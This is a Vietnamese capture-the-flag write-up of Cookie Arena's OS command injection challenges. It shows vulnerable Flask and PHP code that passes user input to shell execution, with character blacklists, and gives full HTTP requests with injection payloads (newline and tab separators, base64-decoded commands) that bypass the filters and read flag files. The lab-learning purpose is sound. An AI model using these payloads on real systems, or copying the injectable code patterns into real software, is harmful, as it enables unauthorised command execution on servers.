Cookie Arena Skill Path Writeup: OS Command Injection
Solution for all challenge at Skill Path OS Command Injection (Include Explain and Payload)
Empty Execution
Bài này sử dụng Python REST API để triển khai Web
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from flask import Flask, jsonify, request, Response
import os
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return Response(open(__file__).read(), mimetype="text/plain")
# Run commands from leaderbot
@app.route('/run_command', methods=['POST']) ## Vuln at here
def run_command():
# Get command
data = request.get_json()
if 'command' in data:
command = str(data['command'])
# Length check
if len(command) < 5:
return jsonify({'message': 'Command too short'}), 501
# Perform security checks
if '..' in command or '/' in command: ## Blacklist Character
return jsonify({'message': 'Hacking attempt detected'}), 501
# Find path to executable
executable_to_run = command.split()[0]
# Check if we can execute the binary
if os.access(executable_to_run, os.X_OK): ## Check command if exist in executables folder (guessing file execute in OS at same folder)
# Execute binary if it exists and is executable
out = os.popen(command).read()
return jsonify({'message': 'Command output: ' + str(out)}), 200
return jsonify({'message': 'Not implemented'}), 501
if __name__ == '__main__':
# Make sure we can only execute binaries in the executables directory
os.chdir('./executables/') ## Main Problem
# Run server
app.run(host='0.0.0.0', port=1337)
Như bạn có thể biết trong bất kì folder nào cũng đều tồn tại 2 command: .
và ..
. Nhưng source code chỉ filter command ..
thôi nên ta hoàn toàn có thể sử dụng .
để bypass
```HTTP Request POST /run_command HTTP/1.1 Host: 103.97.125.56:30362 Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive Content-Length: 62 Content-Type: application/json; charset=utf-8
{ “command”:”. ; echo Y2F0IC9mbGFnLnR4dA== | base64 -d
” }
1
2
3
4
5
6
7
8
9
10
11
12
Khi đó bạn sẽ nhận được response sau:
```HTTP Request
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.2
Date: Fri, 27 Jun 2025 07:33:02 GMT
Content-Type: application/json
Content-Length: 108
Connection: close
{"message":"Command output: CHH{Ch33r_Up_BuddY_JU5t_3x3Cut3_4_D1reCT0ry_aaa69cb1d0e7123f5e5ccaf4dcad0209}"}
Ping 0x01
Ping 0x02
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
if(isset($_POST[ 'ip' ])) {
$target = urldecode(trim($_POST[ 'ip' ]));
$substitutions = array( // ---> Blacklist character is not allowed
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
' ' => '',
'flag' => '',
"*" => ''
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
?>
<!doctype html>
<html lang="en">
...
</html>
Ta có chuỗi blacklist trên rồi thì cần phải tìm ra cách bypass nó thoi. Rất đơn giản: ```HTTP Request POST / HTTP/1.1 Host: 103.97.125.56:30260 Content-Length: 15 Cache-Control: max-age=0 Accept-Language: en-US,en;q=0.9 Origin: http://103.97.125.56:30260 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://103.97.125.56:30260/ Accept-Encoding: gzip, deflate, br Connection: keep-alive
ip=8.8.8.8%0aid
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
> %0a: URL-encode newline
{: .prompt-tip}
Khi đó ta sẽ nhận được response sau:
```HTTP Request
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 27 Jun 2025 07:55:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Content-Length: 1478
<!doctype html>
<html lang="en">
...
<div class="text-start">
8.8.8.8
id<pre>PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=62 time=0.525 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=62 time=0.610 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=62 time=0.383 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=62 time=0.513 ms
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.383/0.508/0.610/0.081 ms
uid=1000(www) gid=1000(www) groups=1000(www)
</pre> </div>
...
Quay trở lại khai thác đọc flag thôi: ```HTTP Request POST / HTTP/1.1 Host: 103.97.125.56:30260 Content-Length: 32 Cache-Control: max-age=0 Accept-Language: en-US,en;q=0.9 Origin: http://103.97.125.56:30260 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://103.97.125.56:30260/ Accept-Encoding: gzip, deflate, br Connection: keep-alive
ip=8.8.8.8%0acat%09/flflagag.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
> %09: URL-encode newline
{: .prompt-tip}
Response tương ứng:
```HTTP Request
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 27 Jun 2025 08:00:49 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Content-Length: 1513
<!doctype html>
...
<div class="text-start">
8.8.8.8
cat /flag.txt<pre>PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=62 time=0.510 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=62 time=0.457 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=62 time=0.417 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=62 time=0.457 ms
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.417/0.460/0.510/0.033 ms
CHH{Med1Um_F11TEr_coMm4ND_InJ3C71On_e128f4f195e2e760e166d2976ee4113f}</pre> </div>
...
Giải thích payload:
1
2
3
4
5
Origin:
8.8.8.8%0acat%09/flflagag.txt
After apply filter:
8.8.8.8
cat /flag.txt
Happy Hacking